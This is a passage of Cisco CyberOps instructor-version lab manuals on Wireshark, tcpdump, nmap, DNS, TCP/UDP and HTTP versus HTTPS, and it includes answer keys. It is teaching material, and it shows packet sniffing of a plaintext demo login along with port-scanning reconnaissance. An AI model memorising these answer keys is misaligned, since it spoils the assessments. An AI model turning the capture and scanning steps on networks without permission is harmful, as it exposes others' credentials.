destination IP address. Why has the destination IP address changed, while the destination MAC address
remained the same?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Layer 2 frames never leave the LAN. When a ping is issued to a remote host, the source will use the Default
Gateway’s MAC address for the frame destination. The Default Gateway receives the packet, strips the Layer
2 frame information from the packet and then creates a new frame header with the next hop’s MAC address.
This process continues from router to router until the packet reaches its destination IP address.
Reflection
Wireshark does not display the preamble field of a frame header. What does the preamble contain?
_______________________________________________________________________________________
_______________________________________________________________________________________
The preamble field contains seven octets of alternating 1010 sequences, and one octet that signals the
beginning of the frame, 10101011.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 7 www.netacad.com
Lab - Using Wireshark to Observe the TCP 3-Way Handshake
(Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Mininet Topology
Objectives
Part 1: Prepare the Hosts to Capture the Traffic
Part 2: Analyze the Packets using Wireshark
Part 3: View the Packets using tcpdump
Background / Scenario
In this lab, you will use Wireshark to capture and examine packets generated between the PC browser using
the HyperText Transfer Protocol (HTTP) and a web server, such as www.google.com. When an application,
such as HTTP or File Transfer Protocol (FTP) first starts on a host, TCP uses the three-way handshake to
establish a reliable TCP session between the two hosts. For example, when a PC uses a web browser to surf
the Internet, a three-way handshake is initiated, and a session is established between the PC host and web
server. A PC can have multiple, simultaneous, active TCP sessions with various web sites.
Instructor Note: Using a packet sniffer, such as Wireshark, may be considered a breach of the security
policy of the school. It is recommended that permission be obtained before running Wireshark for this lab. If
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 6 www.netacad.com
Lab - Using Wireshark to Observe the TCP 3-Way Handshake
using a packet sniffer is an issue, the instructor may wish to assign the lab as homework or perform a walk-
through demonstration.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 6 www.netacad.com
Lab - Using Wireshark to Observe the TCP 3-Way Handshake
Step 2: Examine the information within packets including IP addresses, TCP port numbers,
and TCP control flags.
a. In this example, frame 1 is the start of the three-way handshake between the PC and the server on H4. In
the packet list pane (top section of the main window), select the first packet, if necessary.
b. Click the arrow to the left of the Transmission Control Protocol in the packet details pane to expand the
and examine the TCP information. Locate the source and destination port information.
c. Click the arrow to the left of the Flags. A value of 1 means that flag is set. Locate the flag that is set in
this packet.
Note: You may have to adjust the top and middle windows sizes within Wireshark to display the
necessary information.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 6 www.netacad.com
Lab - Using Wireshark to Observe the TCP 3-Way Handshake
d. Select the next packet in the three-way handshake. In this example, this is frame 2. This is the web server
replying to the initial request to start a session.
What are the values of the source and destination ports? ______________________________________
Source Port is now 80, and Destination Port is now 58716
Which flags are set? ___________________________________________________________________
The Acknowledgment flag (ACK) and Syn flag (SYN)
What are the relative sequence and acknowledgment numbers set to?
____________________________________________________________________________________
The relative sequence number is 0, and the relative acknowledgment number is 1.
e. Finally, select the third packet in the three-way handshake.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 6 www.netacad.com
Lab - Using Wireshark to Observe the TCP 3-Way Handshake
NAME
tcpdump - dump traffic on a network
SYNOPSIS
tcpdump [ -AbdDefhHIJKlLnNOpqStuUvxX# ] [ -B buffer_size ]
[ -c count ]
[ -C file_size ] [ -G rotate_seconds ] [ -F file ]
[ -i interface ] [ -j tstamp_type ] [ -m module ] [ -M secret ]
[ --number ] [ -Q in|out|inout ]
[ -r file ] [ -V file ] [ -s snaplen ] [ -T type ] [ -w file ]
[ -W filecount ]
[ -E spi@ipaddr algo:secret,... ]
[ -y datalinktype ] [ -z postrotate-command ] [ -Z user ]
[ --time-stamp-precision=tstamp_precision ]
[ --immediate-mode ] [ --version ]
[ expression ]
<some output omitted>
To search through the man pages, you can use / (searching forward) or ? (searching backward) to find
specific terms, and n to forward to the next match and q to quit. For example, search for the information
on the switch -r, type /-r. Type n to move to the next match. What does the switch -r do?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
The option -r allows you to read packet from file that was saved using -w option with tcpdump or other
tools that write pcap or pcap-ng files, such as Wireshark.
b. In the same terminal, open the capture file using the following command to view the first 3 TCP packets
captured:
[analyst@secOps ~]# tcpdump -r /home/analyst/capture.pcap tcp -c 3
reading from file capture.pcap, link-type EN10MB (Ethernet)
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 6 www.netacad.com
Lab - Using Wireshark to Observe the TCP 3-Way Handshake
Reflection
1. There are hundreds of filters available in Wireshark. A large network could have numerous filters and many
different types of traffic. List three filters that might be useful to a network administrator.
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Answers will vary but could include TCP, specific IP Addresses (source and/or destination), and protocols
such as HTTP.
2. What other ways could Wireshark be used in a production network?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Wireshark is often used for security purposes for after-the-fact analysis of normal traffic or after a network
attack. New protocols or services may need to be captured to determine what port or ports are used.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 6 www.netacad.com
Lab - Exploring Nmap (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Topology
Objectives
Part 1: Exploring Nmap
Part 2: Scanning for Open Ports
Background / Scenario
Port scanning is usually part of a reconnaissance attack. There are a variety of port scanning methods that
can be used. We will explore how to use the Nmap utility. Nmap is a powerful network utility that is used for
network discovery and security auditing.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 8 www.netacad.com
Lab - Exploring Nmap
What is Nmap?
____________________________________________________________________________________
Nmap is a network exploration tool and security / port scanner.
What is nmap used for?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Nmap is used to scan a network and determine the available hosts and services offered in the network.
Some of the nmap features include host discovery, port scanning and operating system detection. Nmap
can be commonly used for security audits, to identify open ports, network inventory, and find
vulnerabilities in the network.
d. While in the man page, you can use the up and down arrow keys to scroll through the pages. You can
also press the space bar to forward one page at a time.
To search for a specific term or phrase use enter a forward slash (/) or question mark (?) followed by the
term or phrase. The forward slash searches forward through the document, and the question mark
searches backward through the document. The key n moves to the next match.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 8 www.netacad.com
Lab - Exploring Nmap
Type /example and press ENTER. This will search for the word example forward through the man page.
e. In the first instance of example, you see three matches. To move to the next match, press n.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 8 www.netacad.com
Lab - Exploring Nmap
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 8 www.netacad.com
Lab - Exploring Nmap
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 8 www.netacad.com
Lab - Exploring Nmap
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 8 www.netacad.com
Lab - Exploring Nmap
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 8 www.netacad.com
Lab - Exploring Nmap
Reflection
Nmap is a powerful tool for network exploration and management. How can Nmap help with network security?
How can Nmap be used by a threat actor as a nefarious tool?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Nmap can be used to scan an internal network for specific open ports to identify the extent of a security
breach. It can also be used to inventory a network to ensure that all the systems are probably patched against
security concerns. On the other hand, nmap can be used for reconnaissance to determine open ports and
other information about the network.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 8 www.netacad.com
Lab - Using Wireshark to Examine a UDP DNS Capture (Instructor
Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Topology
Objectives
Part 1: Record a PC’s IP Configuration Information
Part 2: Use Wireshark to Capture DNS Queries and Responses
Part 3: Analyze Captured DNS or UDP Packets
Background / Scenario
When you use the Internet, you use the Domain Name System (DNS). DNS is a distributed network of
servers that translates user-friendly domain names like www.google.com to an IP address. When you type a
website URL into your browser, your PC performs a DNS query to the DNS server’s IP address. Your PC’s
DNS query and the DNS server’s response make use of the User Datagram Protocol (UDP) as the transport
layer protocol. UDP is connectionless and does not require a session setup as does TCP. DNS queries and
responses are very small and do not require the overhead of TCP.
In this lab, you will communicate with a DNS server by sending a DNS query using the UDP transport
protocol. You will use Wireshark to examine the DNS query and response exchanges with the same server.
Instructor Note: Using a packet sniffer, such as Wireshark, may be considered a breach of the security
policy of the school. It is recommended that permission be obtained before running Wireshark for this lab. If
using a packet sniffer is an issue, the instructor may wish to assign the lab as homework or perform a walk-
through demonstration.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 7 www.netacad.com
Lab - Using Wireshark to Examine a UDP DNS Capture
and the DNS server IP address specified for the PC. Record this information in the table provided. The
information will be used in parts of this lab with packet analysis.
a. Open a terminal in the VM. Enter ifconfig at the prompt to display interface information.
[analyst@secOps ~]$ ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.19 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::997f:9b16:5aae:1868 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:c9:fa:a1 txqueuelen 1000 (Ethernet)
RX packets 1381 bytes 87320 (85.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 24 bytes 1857 (1.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
device interrupt 19 base 0xd000
<some output omitted>
b. At the terminal prompt, enter cat /etc/resolv.conf to determine the DNS server.
[analyst@secOps ~]$ cat /etc/resolv.conf
# Generated by resolvconf
nameserver 192.168.1.1
c. At the terminal prompt, enter netstat -r to display the IP routing table to the default gateway IP address.
[analyst@secOps ~]$ netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
default 192.168.1.1 0.0.0.0 UG 0 0 0 enp0s3
192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s3
Note: The DNS IP address and default gateway IP address are often the same, especially in small
networks. However, in a business or school network, the addresses would most likely be different.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 7 www.netacad.com
Lab - Using Wireshark to Examine a UDP DNS Capture
b. In the Wireshark window, select enp0s3 from the interface list and click Start.
c. After selecting the desired interface, click Start to capture the packets.
d. Open a web browser and type www.google.com. Press Enter to continue.
e. Click Stop to stop the Wireshark capture when you see Google’s home page.
b. In the packet list pane (top section) of the main window, locate the packet that includes Standard query
and A www.google.com. See frame 22 above as an example.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 7 www.netacad.com
Lab - Using Wireshark to Examine a UDP DNS Capture
The IP packet and header encapsulates the UDP segment. The UDP segment contains the DNS query
as the data.
d. Click the arrow next to User Datagram Protocol to view the details. A UDP header only has four fields:
source port, destination port, length, and checksum. Each field in a UDP header is only 16 bits as
depicted below.
e. Click the arrow next to User Datagram Protocol to view the details. Notice that there are only four fields.
The source port number in this example is 39964. The source port was randomly generated by the VM
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 7 www.netacad.com
Lab - Using Wireshark to Examine a UDP DNS Capture
using port numbers that are not reserved. The destination port is 53. Port 53 is a well-known port
reserved for use with DNS. DNS servers listen on port 53 for DNS queries from clients.
In this example, the length of the UDP segment is 40 bytes. The length of the UDP segment in your
example may be different. Out of 40 bytes, 8 bytes are used as the header. The other 32 bytes are used
by DNS query data. The 32 bytes of DNS query data is in the following illustration in the packet bytes
pane (lower section) of the Wireshark main window.
The checksum is used to determine the integrity of the UDP header after it has traversed the Internet.
The UDP header has low overhead because UDP does not have fields that are associated with the three-
way handshake in TCP. Any data transfer reliability issues that occur must be handled by the application
layer.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 7 www.netacad.com
Lab - Using Wireshark to Examine a UDP DNS Capture
Frame size
Source IP address
Destination IP address
Source port
Destination port
Is the source IP address the same as the local PC’s IP address you recorded in Part 1? _____________
Yes
Is the destination IP address the same as the default gateway noted in Part 1? _____________
Yes, if the default gateway is also performing DNS.
b. In the Ethernet II frame for the DNS response, what device is the source MAC address and what device is
the destination MAC address?
____________________________________________________________________________________
The source MAC address is the default gateway and the destination MAC address is the VM.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 7 www.netacad.com
Lab - Using Wireshark to Examine a UDP DNS Capture
c. Notice the source and destination IP addresses in the IP packet. What is the destination IP address?
What is the source IP address?
Destination IP address: _______________________Source IP address: ________________________
The answer will vary. In this example, the destination is 192.168.1.19 and the source is 192.168.1.1.
What happened to the roles of source and destination for the VM and default gateway?
____________________________________________________________________________________
____________________________________________________________________________________
The VM and the default gateway have reversed their roles in DNS query and response packets.
d. In the UDP segment, the role of the port numbers has also reversed. The destination port number is
39964. Port number 39964 is the same port that was generated by the VM when the DNS query was sent
to the DNS server. Your VM listens for a DNS response on this port.
The source port number is 53. The DNS server listens for a DNS query on port 53 and then sends a DNS
response with a source port number of 53 back to the originator of the DNS query.
When the DNS response is expanded, notice the resolved IP addresses for www.google.com in the
Answers section.
Reflection
What are the benefits of using UDP instead of TCP as a transport protocol for DNS?
_______________________________________________________________________________________
_______________________________________________________________________________________
UDP as a transport protocol provides quick session establishment, quick response, minimal overhead, no
need for retries, segment reassembly, and acknowledgment of received packets.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 7 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
(Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Part 1 will highlight a TCP capture of an FTP session. This topology consists of the CyberOps Workstation
VM with Internet access.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
Objectives
Part 1: Identify TCP Header Fields and Operation Using a Wireshark FTP Session Capture
Part 2: Identify UDP Header Fields and Operation Using a Wireshark TFTP Session Capture
Background / Scenario
Two protocols in the TCP/IP transport layer are TCP (defined in RFC 761) and UDP (defined in RFC 768).
Both protocols support upper-layer protocol communication. For example, TCP is used to provide transport
layer support for the HyperText Transfer Protocol (HTTP) and FTP protocols, among others. UDP provides
transport layer support for the Domain Name System (DNS) and TFTP, among others.
In Part 1 of this lab, you will use the Wireshark open source tool to capture and analyze TCP protocol header
fields for FTP file transfers between the host computer and an anonymous FTP server. The terminal
command line is used to connect to an anonymous FTP server and download a file. In Part 2 of this lab, you
will use Wireshark to capture and analyze UDP header fields for TFTP file transfers between two Mininet host
computers.
Instructor Note: Using a packet sniffer, such as Wireshark may be considered a breach of the security policy
of the school. It is recommended that permission be obtained before running Wireshark for this lab. If using a
packet sniffer is an issue, the instructor may wish to assign the lab as homework or perform a walk-through
demonstration.
Required Resources
CyberOps Workstation VM
Internet access
Part 1: Identify TCP Header Fields and Operation Using a Wireshark FTP
Session Capture
In Part 1, you use Wireshark to capture an FTP session and inspect TCP header fields.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
Note: Your Wireshark interface may look slightly different than the above image.
TCP is routinely used during a session to control datagram delivery, verify datagram arrival, and manage
window size. For each data exchange between the FTP client and FTP server, a new TCP session is started.
At the conclusion of the data transfer, the TCP session is closed. When the FTP session is finished, TCP
performs an orderly shutdown and termination.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
In Wireshark, detailed TCP information is available in the packet details pane (middle section). Highlight the
first TCP datagram from the host computer, and expand portions of the TCP datagram as shown below.
The expanded TCP datagram appears similar to the packet detail pane shown below.
The image above is a TCP datagram diagram. An explanation of each field is provided for reference:
The TCP source port number belongs to the TCP session host that opened a connection. The value is
normally a random value above 1,023.
The TCP destination port number is used to identify the upper layer protocol or application on the
remote site. The values in the range 0–1,023 represent the “well-known ports” and are associated with
popular services and applications (as described in RFC 1700), such as Telnet, FTP, and HTTP. The
combination of the source IP address, source port, destination IP address, and destination port uniquely
identifies the session to the sender and receiver.
Note: In the Wireshark capture above, the destination port is 21, which is FTP. FTP servers listen on port 21
for FTP client connections.
The Sequence number specifies the number of the last octet in a segment.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
The Acknowledgment number specifies the next octet expected by the receiver.
The Code bits have a special meaning in session management and in the treatment of segments.
Among interesting values are:
- ACK — Acknowledgment of a segment receipt.
- SYN — Synchronize, only set when a new TCP session is negotiated during the TCP three-way
handshake.
- FIN — Finish, the request to close the TCP session.
The Window size is the value of the sliding window. It determines how many octets can be sent before
waiting for an acknowledgment.
The Urgent pointer is only used with an Urgent (URG) flag when the sender needs to send urgent data
to the receiver.
The Options has only one option currently, and it is defined as the maximum TCP segment size (optional
value).
Using the Wireshark capture of the first TCP session startup (SYN bit set to 1), fill in information about the
TCP header. Some fields may not apply to this packet.
From the VM to CDC server (only the SYN bit is set to 1):
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
In the second Wireshark filtered capture, the CDC FTP server acknowledges the request from the VM. Note
the values of the SYN and ACK bits.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
In the final stage of the negotiation to establish communications, the VM sends an acknowledgment message
to the server. Notice that only the ACK bit is set to 1, and the Sequence number has been incremented to 1.
Header length 20
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
When the FTP server sends a Response: 220 to the FTP client, the TCP session on the FTP client sends an
acknowledgment to the TCP session on the server. This sequence is visible in the Wireshark capture below.
When the FTP session has finished, the FTP client sends a command to “quit”. The FTP server
acknowledges the FTP termination with a Response: 221 Goodbye. At this time, the FTP server TCP session
sends a TCP datagram to the FTP client, announcing the termination of the TCP session. The FTP client TCP
session acknowledges receipt of the termination datagram, then sends its own TCP session termination.
When the originator of the TCP termination (the FTP server) receives a duplicate termination, an ACK
datagram is sent to acknowledge the termination and the TCP session is closed. This sequence is visible in
the diagram and capture below.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
By applying an ftp filter, the entire sequence of the FTP traffic can be examined in Wireshark. Notice the
sequence of the events during this FTP session. The username anonymous was used to retrieve the
Readme file. After the file transfer completed, the user ended the FTP session.
Apply the TCP filter again in Wireshark to examine the termination of the TCP session. Four packets are
transmitted for the termination of the TCP session. Because TCP connection is full-duplex, each direction
must terminate independently. Examine the source and destination addresses.
In this example, the FTP server has no more data to send in the stream. It sends a segment with the FIN flag
set in frame 149. The PC sends an ACK to acknowledge the receipt of the FIN to terminate the session from
the server to the client in frame 150.
In frame 151, the PC sends a FIN to the FTP server to terminate the TCP session. The FTP server responds
with an ACK to acknowledge the FIN from the PC in frame 152. Now the TCP session is terminated between
the FTP server and PC.
Part 2: Identify UDP Header Fields and Operation Using a Wireshark TFTP
Session Capture
In Part 2, you use Wireshark to capture a TFTP session and inspect the UDP header fields.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
Instructor Note: If students point out UDP acknowledgments, explain that the UDP header does not
contain an acknowledgment field. It is the responsibility of the upper-layer protocol, in this case TFTP, to
manage data transfer and receipt information. This will be shown during the UDP datagram examination.
Detailed UDP information is available in the Wireshark packet details pane. Highlight the first UDP
datagram from the host computer and move the mouse pointer to the packet details pane. It may be
necessary to adjust the packet details pane and expand the UDP record by clicking the protocol expand
box. The expanded UDP datagram should look similar to the diagram below.
The figure below is a UDP datagram diagram. Header information is sparse, compared to the TCP
datagram. Similar to TCP, each UDP datagram is identified by the UDP source port and UDP destination
port.
Using the Wireshark capture of the first UDP datagram, fill in information about the UDP header. The
checksum value is a hexadecimal (base 16) value, denoted by the preceding 0x code:
Source IP address 10.0.0.12
Destination IP address 10.0.0.11
Source port number 47844
Destination port number 69
UDP message length 32 bytes*
UDP checksum 0x2029 [correct]*
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 12 of 13 www.netacad.com
Lab - Using Wireshark to Examine TCP and UDP Captures
A checksum is sent in the UDP datagram, and the datagram checksum value is recomputed upon receipt.
If the computed checksum is identical to the sent checksum, then the UDP datagram is assumed to be
complete.
Examine the first frame returned from the tftpd server. Fill in the information about the UDP header:
Source IP address 10.0.0.11
Destination IP address 10.0.0.12
Source port number 58047*
Destination port number 47844*
UDP message length 46 bytes*
Checksum: 0x1456 [incorrect, should be
0x8cce (maybe caused by "UDP checksum
UDP checksum offload"?)]*
Step 4: Clean up
In this step, you will shut down and clean up Mininet.
a. In the terminal that started Mininet, enter quit at the prompt.
mininet> quit
b. At the prompt, enter sudo mn – c to clean up the processes started by Mininet.
[analyst@secOps ~]$ sudo mn -c
Reflection
This lab provided the opportunity to analyze TCP and UDP protocol operations from captured FTP and TFTP
sessions. How does TCP manage communication differently than UDP?
_______________________________________________________________________________________
_______________________________________________________________________________________
TCP manages communication much differently than UDP because reliability and guaranteed delivery requires
additional control over the communication channel. UDP has less overhead and control, and the upper-layer
protocol must provide some type of acknowledgment control. Both protocols, however, transport data
between clients and servers using application layer protocols and are appropriate for the upper-layer protocol
each supports.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 13 of 13 www.netacad.com
Lab – Using Wireshark to Examine HTTP and HTTPS (Instructor
Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Capture and view HTTP traffic
Part 2: Capture and view HTTPS traffic
Background / Scenario
HyperText Transfer Protocol (HTTP) is an application layer protocol that presents data via a web browser.
With HTTP, there is no safeguard for the exchanged data between two communicating devices.
With HTTPS, encryption is used via a mathematical algorithm. This algorithm hides the true meaning of the
data that is being exchanged. This is done through the use of certificates that can be viewed later in this lab.
Regardless of HTTP or HTTPS, it is only recommended to exchange data with websites that you trust. Just
because a site uses HTTPS does not mean it is a trustworthy site. Threat actors commonly use HTTPS to
hide their activities.
In this lab, you will explore and capture HTTP and HTTPS traffic using Wireshark.
Required Resources
CyberOps Workstation VM
Internet connection
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 7 www.netacad.com
Lab – Using Wireshark to Examine HTTP and HTTPS
c. While in the terminal application, enter the command sudo tcpdump –i enp0s3 –s 0 –w
httpdump.pcap. Enter the password cyberops for the user analyst when prompted.
[analyst@secOps ~]$ sudo tcpdump –i enp0s3 –s 0 –w httpdump.pcap
[sudo] password for analyst:
tcpdump: listening on enp0s3, link-type EN10MB (Ethernet), capture size
262144 bytes
This command starts tcpdump and records network traffic on the enp0s3 interface.
The -i command option allows you to specify the interface. If not specified, the tcpdump will capture all
traffic on all interfaces.
The -s command option specifies the length of the snapshot for each packet. You should limit snaplen to
the smallest number that will capture the protocol information in which you are interested. Setting snaplen
to 0 sets it to the default of 262144, for backwards compatibility with recent older versions of tcpdump.
The -w command option is used to write the result of the tcpdump command to a file. Adding the
extension .pcap ensures that operating systems and applications will be able to read to file. All recorded
traffic will be printed to the file httpdump.pcap in the home directory of the user analyst.
Use the man pages for tcpdump to determine the usage of the -s and -w command options.
d. Open a web browser from the launch bar within the Linux Workstation. Navigate to
www.altoromutual.com/bank/login.aspx
Because this website uses HTTP, the traffic is not encrypted. Click the Username field to see the warning
pop up.
e. Enter a username of Admin with a password of Admin and click Login.
f. Close the virtual web browser.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 7 www.netacad.com
Lab – Using Wireshark to Examine HTTP and HTTPS
g. Return to the terminal window where tcpdump is running. Enter CTRL+C to stop the packet capture.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 7 www.netacad.com
Lab – Using Wireshark to Examine HTTP and HTTPS
c. Browse through the different HTTP messages and select the POST message.
d. In the lower window, the message is displayed. Expand the HTML Form URL Encoded: application/x-
www-form-urlencoded section.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 7 www.netacad.com
Lab – Using Wireshark to Examine HTTP and HTTPS
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 7 www.netacad.com
Lab – Using Wireshark to Examine HTTP and HTTPS
a. Click the Filesystem icon on the desktop and browse to the home folder for the user analyst. Open the
httpsdump.pcap file.
b. In the Wireshark application, expand the capture window vertically and then filter by HTTPS traffic via port
443.
Enter tcp.port==443 as a filter, and click Apply.
c. Browse through the different HTTPS messages and select an Application Data message.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 7 www.netacad.com
Lab – Using Wireshark to Examine HTTP and HTTPS
After the TCP section, there is now a Secure Sockets Layer (SSL) section instead of HTTP.
e. Completely expand the Secure Sockets Layer section.
Reflection
1. What are the advantages of using HTTPS instead of HTTP?
_______________________________________________________________________________________
_______________________________________________________________________________________
When using HTTPS, the data payload of a message is encrypted and can only be viewed by the devices that
are part of the encrypted conversation.
2. Are all websites that use HTTPS considered trustworthy?
_______________________________________________________________________________________
_______________________________________________________________________________________
No, because malicious websites can utilize HTTPS to appear legitimate while still capturing user data and
logins.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 7 www.netacad.com
Lab – Anatomy of Malware (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Research and analyze malware
Background / Scenario
Malware, or malicious software, refers to a variety of malicious software programs that can be used to cause
harm to computer systems, steal data, and bypass security measures. Malware can also attack critical
infrastructure, disable emergency services, cause assembly lines to make defective products, disable electric
generators, and disrupt transportation services. Security experts estimate that more than one million new
malware threats are released each day. A McAfee Labs report indicates almost 500 million known malware
threats at the end of 2015.
Note: You can use the web browser in virtual machine installed in a previous lab to research security related
issues. By using the virtual machine, you may prevent malware from being installed on your computer.
Required Resources
PC or mobile device with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 1 www.netacad.com
Lab - Social Engineering (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Research and identify social engineering attacks
Background / Scenario
Social engineering is an attack with the goal of getting a victim to enter personal or sensitive information, this
type of attack can be performed by an attacker utilizing a keylogger, phishing email, or an in-person method.
This lab requires the research of social engineering and the identification of ways to recognize and prevent it.
Required Resources
PC or mobile device with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 2 www.netacad.com
Lab - Social Engineering
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 2 www.netacad.com
Class Activity – What's Going On? (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Identify the processes running on a computer, the protocol they are using, and their local and remote port
addresses.
Background / Scenario
For a hacker to establish a connection to a remote computer, a port must be listening on that device. This
may be due to infection by malware, or a vulnerability in a legitimate piece of software. A utility, such as
TCPView, can be used to detect open ports, monitor them in real-time, and close active ports and processes
using them.
Required Resources
PC with Internet access
TCPView software
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 3 www.netacad.com
Class Activity – What’s Going On?
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 3 www.netacad.com
Class Activity – What’s Going On?
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 3 www.netacad.com
Lab – Exploring DNS Traffic (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Capture DNS Traffic
Part 2: Explore DNS Query Traffic
Part 3: Explore DNS Response Traffic
Background / Scenario
Wireshark is an open source packet capture and analysis tool. Wireshark gives a detailed breakdown of the
network protocol stack. Wireshark allows you to filter traffic for network troubleshooting, investigate security
issues, and analyze network protocols. Because Wireshark allows you to view the packet details, it can be
used as a reconnaissance tool for an attacker.
In this lab, you will install Wireshark on a Windows system and use Wireshark to filter for DNS packets and
view the details of both DNS query and response packets.
Required Resources
1 Windows PC with Internet access and Wireshark installed
Instructor Note: Using a packet sniffer such as Wireshark may be considered a breach of the security policy
of the school. It is recommended that permission is obtained before running Wireshark for this lab. If using a
packet sniffer such as Wireshark is an issue, the instructor may wish to assign the lab as homework or
perform a walk-through demonstration.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 12 www.netacad.com
Lab – Exploring DNS Traffic
It is recommended that you remove the old version of Wireshark prior to installing another version. Click
Yes to uninstall the previous version of Wireshark.
f. If this is the first time to install Wireshark, or after you have completed the uninstall process, you will
navigate to the Wireshark Setup wizard. Click Next.
g. Continue advancing through the installation process. Click I Agree when the License Agreement window
displays.
h. Keep the default settings on the Choose Components window and click Next.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 12 www.netacad.com
Lab – Exploring DNS Traffic
l. Do NOT install USBPcap for normal traffic capture. Do NOT select the checkbox to install USBPcap.
USBPcap is experimental, and it could cause USB problems on your PC. Click Install to continue.
m. Wireshark starts installing its files and a separate window displays with the status of the installation. Click
Next when the installation is complete.
n. Click Finish to complete the Wireshark install process. Reboot the computer if necessary.
b. Click Start and search for Command Prompt. Open Command Prompt.
